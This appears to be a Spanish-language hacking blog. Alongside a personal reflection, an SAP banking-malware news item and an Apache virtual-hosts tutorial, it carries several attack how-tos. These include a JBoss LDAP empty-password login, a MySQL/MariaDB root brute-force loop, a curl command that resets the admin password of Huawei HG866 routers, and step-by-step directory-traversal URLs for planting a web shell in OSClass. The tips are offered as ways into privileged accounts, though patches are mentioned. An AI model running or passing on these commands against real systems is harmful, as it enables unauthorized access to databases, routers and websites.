Lobo Solitario (off topic)

"Si estuviste ausente durante mi lucha, no esperes estar presente durante mi exito."

Nose quien haya sido el autor d la frase, frase con la q me identifico ya q en los momentos mas dificiles las personas q "tengo cerca" suelen desaparecer o peor aun tratan d tirarme palidas. Por suerte tengo el perfil d lobo solitario y soy lo suficientemente terco para dejarme influenciar por mediocridades y basicos pensamientos. El tiempo (casi) siempre supo darme la razon y cuando la tormenta pasa "misteriosamente" las personas aparecen con ironicas palmaditas en la espalda diciendo "bien echo" "yo sabia q lo lograrias".

Larga vida al Hacking!!!

Malware de Sistemas Bancarios

Si hablamos de sistemas de planificación de recursos empresariales (ERP) tarde o temprano caeremos en sistemas SAP, alguna vez me pregunte por los  sistemas que se utilizan en empresas grandes y tomando como referencia la revista Forbes veremos que en la lista de las 500 compañías mas ricas del mundo, el 80% utiliza SAP.

Teniendo como en cuanta lo dicho anteriormente, tal vez no debería sorprendernos la aparición de una nueva variante de troyano de sistema bancario que escanea en busca de clientes SAP, este malware es una evolución de la familia Trjan.Ibank y no es tan popular como ZeuS o SpyEye.
Investigadores de Dr. Web antivirus fueron quienes descubrieron este extraño comportamiento en un malware. La hipotesis que se baraja según el jefe de tecnología de ERPScan, Alexander Polyakov es que, los cyberdelincuentes podrían explotar alguna vulnerabilidad desconocida (0 day) en estos sistemas.

Si un cliente SAP fuese vulnerado y dependiendo de las credenciales que sean robadas, un atacante podría sustraer información financiera, secretos coorporativos, información de clientes y siendo aun mas apocalíptico, si un servidor SAP fuese comprometido los atacantes podrían robar dinero, aprobar pagos, cambiar cuentas de clientes y/o redirigir pagos a cuentas que se encuentras en su poder.

Un ataque a este sistema seria muy sensible, incluso si llegaran a liberar una actualización, y digo estos tomando como parámetro la vulnerabilidad critica descubierta en la aplicación SAProuter, que permite la ejecución remota de código arbitrario y si bien, el parche existe hace ya seis meses, solo fueron actualizados muy pocos de ellos. Al día de hoy se pueden acceder a mas de 4.000 SAProuter a través de internet (4250 para ser exactos =).

Para mas información:

http://www.computerworld.com/s/article/9243727/New_malware_variant_suggests_cybercriminals_targeting_SAP_users
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_router_info_request.rb

Virtual Hosts con Apache2

Debido a muchas dudas en cuanto a servidores virtuales (configuraciones) en Apache, escribo este post rapidito, para mostrar la forma "correcta" de hacerlo.

He visto muchas veces (yo tmb lo hacia) que al momento de desarrollar un site, tenemos la costubre de colgar todos los proyectos en un directorio similar a este:

/home/usrprogramador/www/site1
/home/usrprogramador/www/site2
/home/usrprogramador/www/site3

y crear un link simbolico en /var/www, para asi poder llegar, mediante el navegador a los diferentes proyectos con que estemos trabajando de esta manera

http://localhost/www/site1
http://localhost/www/site2

Esto es totalmente funcional pero, lo correcto seria hacerlo utilizando hosts virtuales, o sea, usar diferentes nombres de dominio utilizando una unica direccion IP, y de esta manera navegar por los mismos se haria de la siguiente forma:

http://www.site1.com
http://www.site2.com
http://www.site3.com

Bueno, vamos paso a paso (cuatro para ser exactos =)


Paso 1: /etc/hosts
En este archivo crearemos tantos nombres de dominio como necesitemos utilizando la misma direccion IP, p.e.
127.0.0.1 localhost
127.0.0.1 www.site1.com
127.0.0.1 www.site2.com


Paso 2: /var/www/
Creamos un directorio por cada site

# mkdir -p site1/public_html
# mkdir -p site2/public_html

le asignamos al usuario que corresponda y con los permisos suficientes

# chown -R usrprogramador site1/public_html/
# chmod -R 755 site1/


Paso 3: /etc/apache2/sites-available/
Aqui vamos a escribir nuestro archivo de configuracion para los sites; y para ahorrarnos tiempo copiamos el que se encuentra por defecto:

# cp default site1

editamos el archivo recien copiado y debajo de la linea ServerAdmin, agregamos

ServerName site1
ServerAlias www.site1.com

y modificamos DocumentRoot por la direccion correcta 

DocumentRoot /var/www/site1/public_html

Ahora solo resta habilitar nuestro host virtual en apache

# a2ensite site1

Paso 4: Reiniciar Apache
Y aqui, volvemos a lo mismo, conozco gente que tienen la mala costumbre de matar el proceso (killall apache2) y levantarlo manualmente, si bien esto tambien es funcional, lo correcto seria hacerlo de esta manera:

# service apache2 restart

Bueno, espero no haberme liado demasiado, ni haber omitido algun paso, de todas formas si encuentran errores sientanse libre de corregirme, y asi aprendemos todos :)



Para más información:

http://httpd.apache.org/docs/2.2/vhosts/
https://www.digitalocean.com/community/articles/how-to-set-up-apache-virtual-hosts-on-ubuntu-12-04-lts

Bypass JBoss: "unauthenticated autentication"

     Curiosa falla ocurre en JBoss Enterprise Application Platform 4.3.0 CP10, cuando se encuentra activo el modulo LDAP login; resulta que, por defecto este modulo se encuentra erroneamente configurado, y permite poder logearse sin contraseña alguna. Solo se necesita saber el nombre de usuario y dejar en blanco el password, de esta manera, simplemente obtenes una "autenticacion" sin ser "autenticado" o_O

     Esta falla se soluciona aplicando la ultima actualizacion de seguridad que liberó la gente de Red Hat; basicamente lo que hace es setear la opción allowEmptyPasswords con el valor False.

     Así que, si olvidaste una clave, estaria bueno que intentes dejar ese campo vacio y ver que pasa (ojo!! debes introducir un usuario valido :)


Para mas información:

https://rhn.redhat.com/errata/RHSA-2013-0248.html
https://bugzilla.redhat.com/show_bug.cgi?id=885569

Authentication bypass x2

     Aquí les dejo dos tips, que te permitirá ingresar a cuentas privilegiadas sin conocer sus respectivas passwords, ambos ataques pueden ser remotos y solo requieren tipear una sola linea en consola.

Caso MySQL/MariaDB: Acceder como root sin conocer el password

     Hace unos dias se hizo publico que aplicando fuerza bruta se puede acceder a cualquier cuenta determinada en ciertas versiones de MySQL/MariaDB, solo necesitamos conocer el nombre de usuario de la cuenta a brutear, los mas codiciosos intetarán con "root" (es muy comun encontrarlo habilitado), pero tranquilamente podes intentar con cualquier otro usuario

$ while [ 1 ];do mysql -u root --password=123; done

No demora mucho el proceso, ya que la posibilidad de acierto es de 1 en 256 intentos

Para mas información:
http://www.net-security.org/secworld.php?id=13076

 

Caso Huawei HG866: Acceder como administrador sin conocer el password

     Se puede modificar la clave del administrador en el panel de control web de los router Huawei HG866 ya que la sesión de la pagina password.html no se encuentra debidamente controlada

$ curl --data "psw=qwerty&reenterpsw=qwerty" http://<ip-router>/html/password.html

Con la linea anterior pisamos la contraseña (desconocida) del administrador por la clave "qwerty" (que dificilmente olvidaremos =)

Para mas información:
http://websec.mx/advisories/view/Evasion_de_autenticacion_en_Huawei_HG866

Es seguro el Cloud Computing? - Apache Hadoop

     Apache Hadoop es un proyecto inicializado por Yahoo, brinda la capacidad de manejar grandes volumenes de datos en clusters, en el 2009 logró batir un record mundial ordenando 1 Terabyte de datos en 62 segundos. Recientemente se reporto una grave vulnerabilidad que Hadoop presenta y  permitiría impersonalizar usuarios. Impersonalizar es la capacidad que tiene un proceso/thread de ejecutarse en el contexto de seguridad de otro proceso/thread que no es su padre, esto podría ser aprovechado por un atacante realizar una escala de privilegios, o suplantar procesos de otro usuario.

     Recuerdo que esta vulnerabilidad le dio mas de un dolor de cabeza a la gente de Microsoft, cuando el investigador Cesar Cerrudo descubrió la falla en Windows, escribió y describió como explotarla.
Por el momento no se dieron mas detalles de la vulnerabilidad de Apache Hadoop.

     Y quienes utilizan Apache Hadoop? solo por nombrar algunas companias, Facebook, Google, Yahoo (cloud computing), Linkedln, IBM, Amazon, etc.

Para más informacion ...

http://secunia.com/advisories/48715/
http://developer.yahoo.com/hadoop/
http://sortbenchmark.org/

Como subir una shell en OSClass

     OSClass es un gestor de contenidos (del tipo Joomla o Wordpress) enfocado a la creación de sitios webs de avisos clasificados. Este mini howto, aprovecha una vulnerabilidad encontrada en OSClass, que nos permitirá subir un archivo (en nuestro caso una shell =)

1º Elegir la web shell q mas te guste :P
2º Subir la shell como una imagen para un nuevo item
3º Aprovechamos la falta de saneamiento de la variable "type" del archivo "combine.php", para copiarlo a la carpeta "/oc-content/uploads", o sea a la misma carpeta donde se subió nuestra shell como imagen
http://127.0.0.1/osclass/oc-content/themes/modern/combine.php?type=./../../uploads/combine.php&files=combine.php
4º Utilizamos el combine.php que copiamos en el punto anterior para mover y renombrar nuestra shell
http://127.0.0.1/osclass/oc-content/uploads/combine.php?files=5_original.jpg&type=/../../remote.php
5º Sal y pimienta a gusto.. http://127.0.0.1/osclass/remote.php

todo esta perdido para la gente que utiliza este CMS?? por supuesto que no.. solo deben actualizar a la version 2.3.6 o parsea la variable type!

Para más información ...

http://www.codseq.it/advisories/osclass_directory_traversal_vulnerability
http://osclass.org/